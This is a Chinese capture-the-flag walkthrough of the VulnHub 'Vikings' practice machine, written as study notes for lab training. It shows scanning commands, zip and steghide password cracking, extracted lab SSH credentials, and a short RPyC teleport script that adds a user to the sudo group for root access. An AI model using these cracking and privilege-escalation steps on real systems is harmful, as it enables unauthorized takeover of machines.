打靶记录9——Vikings

靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/

难度:

  • 低(中),CTF风格的靶机

目标:

  • 取得 root 权限 + 2 个flag

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 编码转换/文件还原
  • 离线密码破解
  • 隐写术
  • 二进制文件提取
  • 素数查找/科拉茨猜想
  • RPC漏洞提权

主机发现:

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.31.27
image.png
sudo nmap -p22,80 -sV -sC 192.168.31.27
image.png
发现一个site/路径,直接访问浏览器
image.png
访问链接,页面加载有点慢,查看源代码发现是加载了外国网站的一些js文件
image.png
首页有一个名字ragnar,是维京首领
image.png

目录扫描

使用工具gobuster
sudo gobuster dir -r -u http://192.168.31.27/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html
image.png
访问发现一个新路径
image.png
发现一大堆Base64编码
image.png
使用Cyberchef工具解码解析,选择From Base64,发现PK文件头,是zip文件的文件头
image.png
image.png
选择Detect File Type识别一下是什么文件格式,发现是zip文件
image.png
直接保存,点右边的按钮
image.png
解压它发现需要密码
image.png
zip2john download.zip > hash将压缩文件转换为john可以识别的格式并保存为一个hash文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt使用rockyou.txt大字典进行暴力破解,破解成功密码ragnarok123
image.png
使用密码ragnarok123解压获得图片king
image.png
steghide info king查看文件是否有隐藏信息,发现有,但是查看信息需要密码
image.png
原本是想通过shell脚本的方式来爆破密码,但是无法成功

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

那么换其他方式
binwalk -B king查看详细信息
image.png
binwalk -e king直接强制提取
image.png
查看user文件内容,发现疑似ssh登录的信息
image.png
ssh floki@192.168.31.27直接登录
账号floki;密码f@m0usboatbuilde7尝试登录成功
image.png
在当前目录下发现两个文件,依次查看

  • 发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,应该就是ragnar账号的密码

image.png
首先需要找到第29个质数

n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2,h):
        if x % i == 0:
            break
    else:
        n +=1
        print(n, ":", x)

image.png
第29个质数是109
接下来做科拉茨猜想运算

i = 109
c = [i]
while i != 1:
    if i % 2 ==1:
        i = i * 3 + 1
    else:
        i = i // 2
    if i < 256:
        c.append(i)
print(c)

image.png
将这段数字中符合ASCII编码的字符给筛选出来
image.png
image.png
mR)|>^/Gky[gz=\.F#j5P(,用这个密码成功登录,登录发现它以sudo的权限执行了什么命令
image.png
image.png
bash 中,-i 参数表示启动一个交互式 shell。使用 /bin/bash -i 会启动一个新的 bash 实例,并使其处于交互模式,这样你可以输入命令并实时获得反馈。这种模式常用于在脚本或命令中模拟交互式会话。

我们知道.bashrc.profile等文件可以设置开机后自动执行的命令
image.png
查看.profile文件确实有一串sudo python3 /usr/local/bin/rpyc_classic.py
image.png

提权

vim /usr/local/bin/rpyc_classic.py查看该python文件
image.png
这看起来是一个服务端的接口程序,发现引入了rpyc的库Part 1: Introduction to Classic RPyC — RPyC
RPC就是远程的进程调用,它的作用就是在服务端可以运行一个程序接口,我们可以通过客户端的代码指令去连上服务端的接口,然后去执行服务端的函数和指令
它的默认监听端口是18812
image.png
发现可以通过这段代码去连接,然后通过函数调用,通过阅读官方文档可以快速的学习到
image.png
这个文件的属主是root
image.png
我们可以通过客户端编写一些程序代码,编写一些函数,然后将这些函数提交到服务器端的侦听端口上面,提交给服务器让它帮我执行,由于它的属主是root账号,所以它就会以root账号来执行我们注入的指令

先来查看一下目标靶机上默认的服务端口是否是开着的
ss -pantu | grep 18812
image.png
发现是开着的,说明服务正在运行
ss -pantu 是一个用于显示网络连接的 ss 命令的选项组合。具体参数含义如下:

  • **-p**:显示与套接字相关的进程信息。
  • **-a**:显示所有套接字(包括监听和非监听状态)。
  • **-n**:以数字形式显示地址和端口,而非解析为主机名或服务名。
  • **-t**:显示 TCP 套接字。
  • **-u**:显示 UDP 套接字。

综上,ss -pantu 命令会列出所有的 TCP 和 UDP 网络连接,并显示相关的进程信息,使用数字格式显示地址和端口。

在靶机上编辑一个exp.py,在目标靶机上去执行

import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

代码是把我们自己添加进入到sudo的组里面
运行代码之后,如果成功了的话,在我们下次登录目标靶机的时候就是具有sudo权限的了
image.png
ssh ragnar@192.168.0.103,密码mR)|>^/Gky[gz=\.F#j5P(
image.png
然后当前要求我们输入的sudo密码我们就不去管它了,直接敲三次回车就行,这样就登录进来了
image.png
然后用/bin/bash -i简单的升级一下shell,发现提示To run a command as administrator (user "root"), use "sudo <command>".说明我们刚刚把自己加入sudo组里面的操作是成功了的,所以我们登录的时候它就会提示我们是sudo组的人了

sudo -s直接提权成功!
image.png

总结:

  • 主机发现、端口扫描、服务发现
  • 发现在site目录下存在一个war.txt的文件,访问这个文件发现存在一个路径,访问这个路径发现一大堆的Base64编码的内容
  • 使用CyberChef进行编码转换,发现一个zip文件,保存后打开发现需要密码,于是进行离线的密码破解,解压出一个图片文件
  • 对图片进行隐写术的检查发现有隐藏信息,但是加了密码保护
  • 于是使用二进制的方式强制提取,通过binwalk提取出一个压缩文件,从里面的user.txt发现包含floki账号SSH登录的信息成功登录floki账号
  • 进一步信息搜索,发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,就是ragnar账号的密码
  • 登录ragnar账号,找到一个pythonRPC程序,分析代码发现有机会通过客户端将请求发给服务器端,以root身份去执行一个客户端的请求指令
  • 于是自己编写一段漏洞的利用代码将自己自定义的函数提交到服务端,让服务器帮我们执行,执行结果就是将ragnar账号加入到sudo组里面,通过sudo组的权限直接运行sudo -s命令,通过这个权限去将自己直接提升成root账号
  • 最终拿下这台靶机

学习记录

  • 在打靶过程当中,需要使用很多的自定义的程序代码的编写,所有的这些能力是作为一个渗透测试者需要去具备,需要去打磨,需要去培养的能力。
posted @ 2024-08-13 22:35  Fab1an  阅读(30)  评论(0编辑  收藏  举报